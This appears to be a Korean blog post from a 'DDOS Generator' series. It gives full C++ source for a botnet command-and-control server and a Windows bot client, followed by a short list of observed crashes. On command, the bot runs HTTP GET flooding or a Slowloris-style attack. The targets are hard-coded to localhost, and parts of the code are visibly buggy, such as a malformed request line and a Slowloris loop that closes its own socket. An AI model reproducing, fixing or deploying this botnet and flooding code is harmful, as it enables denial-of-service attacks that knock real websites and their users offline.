C&C SERVER
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <iostream>
#include <thread>
#include <vector>
#include <queue>
#include <mutex>
#include <utility>
#include <winsock2.h>
#pragma comment(lib, "Ws2_32.lib")
using namespace std;
#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "27015"
#define MAX_BOTS 10
class ThreadPool {
public:
ThreadPool(size_t num_threads);
~ThreadPool();
void EnqueueJob(function<void()> job);
private:
size_t num_threads;
vector<thread> worker_threads;
queue<function<void()>> jobs;
mutex m;
condition_variable cv;
bool all_stop;
void WorkerThread();
};
//스레드풀 생성
ThreadPool::ThreadPool(size_t nums) : num_threads(nums), all_stop(false) {
worker_threads.reserve(num_threads);
for (size_t i = 0; i < num_threads; ++i) {
worker_threads.emplace_back([this]() {this->WorkerThread(); });
}
}
void ThreadPool::WorkerThread() { // task - thread assignment
while (true) {
unique_lock<mutex> lock(m);
cv.wait(lock, [this]() {return !this->jobs.empty() || all_stop; });
if (all_stop && this->jobs.empty()) return;
function<void()> job = move(jobs.front());
jobs.pop();
lock.unlock();
job();
}
}
void ThreadPool::EnqueueJob(function<void()> job) { // append task
if (all_stop) {
perror("ThreadPool interrupted");
}
unique_lock<mutex> lock(m);
jobs.push(job);
cv.notify_one();
}
ThreadPool::~ThreadPool() {
all_stop = true;
cv.notify_all();
for (auto& t : worker_threads)
t.join();
}
void work(SOCKET sock, char command[]) { // which thread should do
char recvbuf[DEFAULT_BUFLEN];
int buflen = DEFAULT_BUFLEN;
struct sockaddr_in addr;
int addr_len;
addr_len = sizeof(addr);
SOCKET ClientSock = accept(sock, (struct sockaddr *)&addr, &addr_len);
if (ClientSock == INVALID_SOCKET) {
perror("accept fail");
closesocket(ClientSock);
return;
}
getpeername(ClientSock, (struct sockaddr *)&addr, &addr_len);
cout << "bot accepted : " << inet_ntoa(addr.sin_addr) << "\n";
//unique_lock<mutex> lock;
if (send(ClientSock, command, buflen, 0) == SOCKET_ERROR) {
perror("send fail");
cout << WSAGetLastError << '\n';
closesocket(ClientSock);
return;
}
// lock.unlock();
while (1) {
memset(recvbuf, 0, buflen);
if (recv(ClientSock, recvbuf, buflen, 0) > 0)
cout << recvbuf << "\n";
else {
perror("return fail");
return;
}
Sleep(1000);
}
closesocket(ClientSock);
}
void InitAndInput(char command[]) { // print program info & accept command from user
cout << "SWING's bare-bone DDOS Control Center\n";
cout << "=============CHOOSE ONE===============\n";
cout << "ping\nattack\nshut\n";
cout << "======================================\n";
while (1) {
cout << ">> ";
cin.getline(command, 10);
if (!strcmp(command, "ping")) break;
if (!strcmp(command, "attack")) {
cout << "CHOOSE YOUR WEAPON.\n";
cout << "1. HTTP Get Flooding\n";
cout << "2. Slowloris\n";
cout << ">> ";
cin.getline(command, 10);
break;
}
if (!strcmp(command, "shut")) break;
cout << "wrong command. try again\n";
}
}
int main() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in addr;
if (sock == INVALID_SOCKET) {
perror("socket error");
return -1;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(atoi(DEFAULT_PORT));
if (::bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) {
perror("bind error");
return -1;
}
if (listen(sock, SOMAXCONN) == SOCKET_ERROR) {
perror("listen error");
return -1;
}
char command[DEFAULT_BUFLEN];
memset(command, 0, DEFAULT_BUFLEN);
InitAndInput(command);
cout << command << " started . . . \n";
ThreadPool pool(MAX_BOTS);
while (1) {
pool.EnqueueJob([sock, command]() {work(sock, const_cast<char *> (command)); });
Sleep(1000);
}
}
BOT
#define WIN32_LEAN_AND_MEAN
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment (lib, "ws2_32.lib");
#pragma comment (lib, "mswsock.lib");
#pragma comment (lib, "advapi32.lib");
#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "27015"
#define BUFF_SIZE 1024
#define PORT 80
#define IPADDR "127.0.0.1"
int iResult;
int getflooding() {
char message[BUFF_SIZE];
int len;
char szBuf[2048];
//<WinsSock 초기화>
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
perror("WSAStart Error ");
system("pause");
return -1;
}
//<socket 생성>
SOCKET sock = socket(PF_INET, SOCK_STREAM, 0); //IPv4 프로토콜, 연결지향 (TCP), 특정 프로토콜을 사용하는 부분
SOCKADDR_IN addr;
if (sock == INVALID_SOCKET) {
perror("Sock Error ");
system("pause");
return -1;
}
//<socket 상세 주소 지정> 소켓 정보 초기화
addr.sin_family = AF_INET; //인터넷 주소 체계 IPv4 사용
addr.sin_port = htons(PORT); //리틀엔디안(PC)에서 빅엔디안(네트워크)로 변환. 포트 233사용
addr.sin_addr.s_addr = inet_addr(IPADDR);
//<connect>
if (connect(sock, (SOCKADDR*)&addr, sizeof(addr)) == SOCKET_ERROR) {
printf("Not Connect \n");
system("pause");
return 1; //실패 시 -1, 성공시 0을 반환
}
memset(szBuf, 0, sizeof(szBuf));
snprintf(szBuf, sizeof(szBuf),
"GET / 127.0.0.1:233 http/1.1\r\n"
"HOST: 127.0.0.1:233 \r\n"
"Cache-Control: noCache\r\n"
"\r\n"
);
int iResult2;
while (1) {
iResult2 = send(sock, szBuf, sizeof(szBuf), 0);
send(sock, szBuf, sizeof(szBuf), 0);
if (iResult2 == SOCKET_ERROR) {
printf("send failed with errer: %d\n", WSAGetLastError());
memset(szBuf, 0, sizeof(szBuf));
break;
//send(sock, szBuf, sizeof(szBuf), 0);
}
else send(sock, szBuf, sizeof(szBuf), 0);
recv(sock, szBuf, sizeof(szBuf), 0);
}
}
int sloworis() {
char message[BUFF_SIZE];
int len;
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
perror("WSAStart Error ");
system("pause");
return -1;
}
SOCKET sock = socket(PF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addr;
if (sock == INVALID_SOCKET) {
perror("Sock Error ");
system("pause");
return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(IPADDR);
if (connect(sock, (SOCKADDR*)&addr, sizeof(addr)) == SOCKET_ERROR) {
printf("Not Connect \n");
system("pause");
return 1;
}
while (1) {
char msg[1024];
struct hostent* host;
host = gethostbyname("http://127.0.0.1/");
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr*) * host->h_addr_list));
send(sock, "GET /?{http://127.0.0.1/} HTTP/1.1\r\n", strlen("GET / ? {http://127.0.0.1/} HTTP/1.1\r\n"), 0);
recv(sock, msg, 1024, 0);
printf("%s \n", msg);
closesocket(sock);
WSACleanup();
system("pause");
}
closesocket(sock);
WSACleanup();
return 0;
}
int _cdecl main()
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
//소켓을 만들 때 필요한 정보들을 담은 구조체 = addrinfo
//소켓 정보 확인
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
printf("wsastartup finish\n");
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(atoi(DEFAULT_PORT));
//struct addrinfo *result = NULL,
// *ptr = NULL,
// hints;
//ZeroMemory(&hints, sizeof(hints));
//hints.ai_family = AF_UNSPEC;
//hints.ai_socktype = SOCK_STREAM;
//hints.ai_protocol = IPPROTO_TCP;
//iResult = getaddrinfo(argv[1], DEFAULT_PORT, &hints, &result);
//if (iResult != 0) {
// printf("getaddrinfo failed with error: %d\n", iResult);
// WSACleanup();
// return 1;
//}
int recvbuflen = DEFAULT_BUFLEN;
//파라미터 값 확인. 실행 시 파라미터 값을 줬는지 확인
//if (argc == 1) {
// printf("usage: %s server-name message\n", argv[0]);
//}
//윈속 초기화
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
//서버와 연결할 소켓 생성 = connectsocket
ConnectSocket = socket(PF_INET,SOCK_STREAM,0);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
printf("socket finish\n");
//서버에 연결 요청
iResult = connect(ConnectSocket, (SOCKADDR*)&addr,sizeof(addr));
printf("connect finish");
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
}
//freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 1;
}
char recvbuf[DEFAULT_BUFLEN];
int buflen = DEFAULT_BUFLEN;
char message[5] = "pong";
char message2[10] = "try again";
while (1) {
recv(ConnectSocket, recvbuf, buflen, 0);
if (strcmp(recvbuf, "ping") == 0) {
send(ConnectSocket, message, (int)strlen(message), 0);
break;
}
else if (strcmp(recvbuf, "1") == 0) {
getflooding();
}
else if (strcmp(recvbuf, "2") == 0) {
sloworis();
}
else send(ConnectSocket, message2, (int)strlen(message2), 0);
}
//소켓 종료, 윈속 종료
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
결과
1. ping 입력시
pong 전송 후 클라이언트 콘솔 창이 꺼지는 오류 + No error 발생
2. attack - 1입력시
3. attck - 2 입력시
accept 되고 client 콘솔 창이 꺼지는 오류 발생
'Network > HTTP' 카테고리의 다른 글
DDOS Generator 3 (0) | 2020.04.05 |
---|---|
Thread Pool (0) | 2020.03.22 |
멀티 스레딩 (0) | 2020.03.16 |
HTTP 서버 (0) | 2020.03.09 |
Socket Programming (0) | 2020.03.02 |